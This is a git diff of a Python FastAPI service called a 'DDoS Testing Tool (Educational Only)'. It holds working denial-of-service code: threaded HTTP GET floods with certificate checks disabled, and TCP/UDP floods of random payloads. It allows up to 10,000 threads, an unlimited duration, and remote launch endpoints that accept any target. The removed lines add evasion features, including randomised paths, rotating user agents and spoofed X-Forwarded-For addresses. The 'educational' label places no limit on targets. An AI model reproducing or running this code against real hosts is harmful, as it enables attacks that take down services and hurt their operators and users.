Update main.py

main.py

@@ -8,154 +8,90 @@ import time
 import logging
 import socket
 import random
-import ssl
 from concurrent.futures import ThreadPoolExecutor
-from urllib3 import disable_warnings
-from urllib3.exceptions import InsecureRequestWarning
-
-# Disable SSL warnings for Layer 7 attacks
-disable_warnings(InsecureRequestWarning)
 
 logging.basicConfig(level=logging.INFO)
 logger = logging.getLogger(__name__)
 
-app = FastAPI(title="Max Power DDoS Testing Tool (Educational Only)")
+app = FastAPI(title="DDoS Testing Tool (Educational Only)")
 
 # Global attack control
 attack_active = False
 attack_thread = None
-executor = ThreadPoolExecutor(max_workers=10000)  # Maximum threads
-
-# Connection pool for Layer 7 attacks
-session = requests.Session()
-session.mount('http://', requests.adapters.HTTPAdapter(pool_connections=10000, pool_maxsize=10000))
-session.mount('https://', requests.adapters.HTTPAdapter(pool_connections=10000, pool_maxsize=10000))
+executor = ThreadPoolExecutor(max_workers=10000)  # Maximum power mode
 
 class Layer7Config(BaseModel):
     target: str
     port: int = 80
     duration: int = 30  # -1 for unlimited
-    threads: int = 10000  # Default to max threads
-    keep_alive: bool = True
-    method: constr(regex='^(GET|POST|HEAD|PUT|DELETE)$') = "GET"
-    payload_size: int = 0  # For POST requests
+    threads: int = 100  # -1 for unlimited
 
 class Layer4Config(BaseModel):
     target: str
     port: int = 80
     duration: int = 30  # -1 for unlimited
-    threads: int = 10000  # Default to max threads
+    threads: int = 100  # -1 for unlimited
     protocol: constr(regex='^(tcp|udp)$') = "tcp"
     payload_size: int = 1024
-    connection_rate: int = 1000  # Connections per second
 
 def generate_payload(size: int) -> bytes:
     """Generate random payload for Layer 4 attacks"""
     return bytes(random.getrandbits(8) for _ in range(size))
 
-def generate_random_path():
-    """Generate random URL path for Layer 7 attacks"""
-    chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
-    return '/' + ''.join(random.choice(chars) for _ in range(random.randint(5, 15)))
-
-def generate_random_headers():
-    """Generate random headers for Layer 7 attacks"""
-    user_agents = [
-        "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
-        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
-        "Mozilla/5.0 (X11; Linux x86_64)",
-        "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)",
-        "Mozilla/5.0 (iPad; CPU OS 15_0 like Mac OS X)"
-    ]
-
-    accept_types = [
-        "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
-        "application/json,text/plain,*/*",
-        "image/webp,image/apng,image/*,*/*;q=0.8"
-    ]
-
-    return {
-        "User-Agent": random.choice(user_agents),
-        "Accept": random.choice(accept_types),
-        "Accept-Language": "en-US,en;q=0.9",
-        "Accept-Encoding": "gzip, deflate",
-        "Connection": "keep-alive" if random.random() > 0.3 else "close",
+def layer7_attack(target_url: str):
+    headers = {
+        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
+        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+        "Connection": "keep-alive",
         "Cache-Control": "no-cache",
-        "Pragma": "no-cache",
-        "DNT": "1",
-        "Upgrade-Insecure-Requests": "1",
-        "X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
+        "Pragma": "no-cache"
     }
-
-def layer7_attack(target_url: str, config: Layer7Config):
-    global attack_active
-
-    # Prepare request data
-    path = generate_random_path()
-    headers = generate_random_headers()
-
-    if config.method == "POST":
-        data = generate_payload(config.payload_size)
-    else:
-        data = None
-
+    session = requests.Session()
     while attack_active:
         try:
-            session.request(
-                method=config.method,
-                url=f"{target_url}{path}",
-                headers=headers,
-                data=data,
-                timeout=5,
-                verify=False
-            )
+            session.get(target_url, headers=headers, timeout=5, verify=False)
         except:
-            pass  # Ignore errors to keep flooding
+            pass
 
 def layer4_attack(target_ip: str, port: int, protocol: str, payload_size: int):
-    global attack_active
-
-    while attack_active:
-        sock = None
-        try:
+    sock = None
+    try:
+        if protocol == "tcp":
+            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+            sock.connect((target_ip, port))
+        else:  # udp
+            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+
+        while attack_active:
+            payload = generate_payload(payload_size)
             if protocol == "tcp":
-                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-                sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-                sock.settimeout(5)
-                sock.connect((target_ip, port))
-
-                while attack_active:
-                    payload = generate_payload(payload_size)
-                    sock.send(payload)
-                    time.sleep(0.001)  # Very fast sending
-            else:  # udp
-                sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-                while attack_active:
-                    payload = generate_payload(payload_size)
-                    sock.sendto(payload, (target_ip, port))
-                    time.sleep(0.001)  # Very fast sending
-
-        except:
-            pass  # Ignore errors to keep flooding
-        finally:
-            if sock:
-                sock.close()
+                sock.send(payload)
+            else:
+                sock.sendto(payload, (target_ip, port))
+            time.sleep(0.01)  # Small delay to prevent CPU overload
+    except Exception as e:
+        logger.error(f"Layer 4 attack error: {e}")
+    finally:
+        if sock:
+            sock.close()
 
 def start_layer7_attack(config: Layer7Config):
     global attack_active
     attack_active = True
 
+    # Determine thread count
+    thread_count = config.threads if config.threads != -1 else 10000
+
     # Build target URL
     protocol = "https" if config.target.startswith("https") else "http"
     target_url = f"{config.target}:{config.port}"
+    logger.info(f"Starting Layer 7 attack on {target_url} with {thread_count} threads")
 
-    logger.info(f"Starting Layer 7 attack on {target_url} with {config.threads} threads")
-
-    # Start attack threads
-    for _ in range(config.threads):
-        executor.submit(layer7_attack, target_url, config)
+    for _ in range(thread_count):
+        executor.submit(layer7_attack, target_url)
 
-    # Handle duration
+    # Handle unlimited duration (-1)
     if config.duration != -1:
         time.sleep(config.duration)
         stop_attack()
@@ -166,19 +102,21 @@ def start_layer4_attack(config: Layer4Config):
     global attack_active
     attack_active = True
 
+    # Determine thread count
+    thread_count = config.threads if config.threads != -1 else 10000
+
     # Extract IP from target URL
     try:
         target_ip = socket.gethostbyname(config.target.split("//")[-1].split("/")[0])
     except:
         raise HTTPException(status_code=400, detail="Invalid target URL")
 
-    logger.info(f"Starting {config.protocol.upper()} attack on {target_ip}:{config.port} with {config.threads} threads")
+    logger.info(f"Starting {config.protocol.upper()} attack on {target_ip}:{config.port} with {thread_count} threads")
 
-    # Start attack threads
-    for _ in range(config.threads):
+    for _ in range(thread_count):
         executor.submit(layer4_attack, target_ip, config.port, config.protocol, config.payload_size)
 
-    # Handle duration
+    # Handle unlimited duration (-1)
     if config.duration != -1:
         time.sleep(config.duration)
         stop_attack()
@@ -197,16 +135,12 @@ def launch_layer7_attack(config: Layer7Config):
         raise HTTPException(status_code=400, detail="Attack already in progress")
 
     # Validate thread count
-    if config.threads > 10000:
-        raise HTTPException(status_code=400, detail="Max 10,000 threads allowed")
+    if config.threads != -1 and config.threads > 10000:
+        raise HTTPException(status_code=400, detail="Max 10,000 threads allowed (use -1 for unlimited)")
 
     # Validate duration
-    if config.duration > 5000:
-        raise HTTPException(status_code=400, detail="Max duration 5000 seconds")
-
-    # Validate payload size
-    if config.payload_size > 65507:
-        raise HTTPException(status_code=400, detail="Max payload size is 65507 bytes")
+    if config.duration != -1 and config.duration > 5000:
+        raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")
 
     attack_thread = threading.Thread(target=start_layer7_attack, args=(config,), daemon=True)
     attack_thread.start()
@@ -219,12 +153,12 @@ def launch_layer4_attack(config: Layer4Config):
         raise HTTPException(status_code=400, detail="Attack already in progress")
 
     # Validate thread count
-    if config.threads > 10000:
-        raise HTTPException(status_code=400, detail="Max 10,000 threads allowed")
+    if config.threads != -1 and config.threads > 10000:
+        raise HTTPException(status_code=400, detail="Max 10,000 threads allowed (use -1 for unlimited)")
 
     # Validate duration
-    if config.duration > 5000:
-        raise HTTPException(status_code=400, detail="Max duration 5000 seconds")
+    if config.duration != -1 and config.duration > 5000:
+        raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")
 
     # Validate payload size
     if config.payload_size > 65507:
@@ -244,12 +178,4 @@ def status():
     return {"attack_active": attack_active}
 
 if __name__ == "__main__":
-    uvicorn.run(
-        app,
-        host="0.0.0.0",
-        port=8000,
-        workers=2,  # Match your 2vCPU
-        limit_concurrency=10000,
-        limit_max_requests=10000,
-        timeout_keep_alive=5
-    )
+    uvicorn.run(app, host="0.0.0.0", port=8000)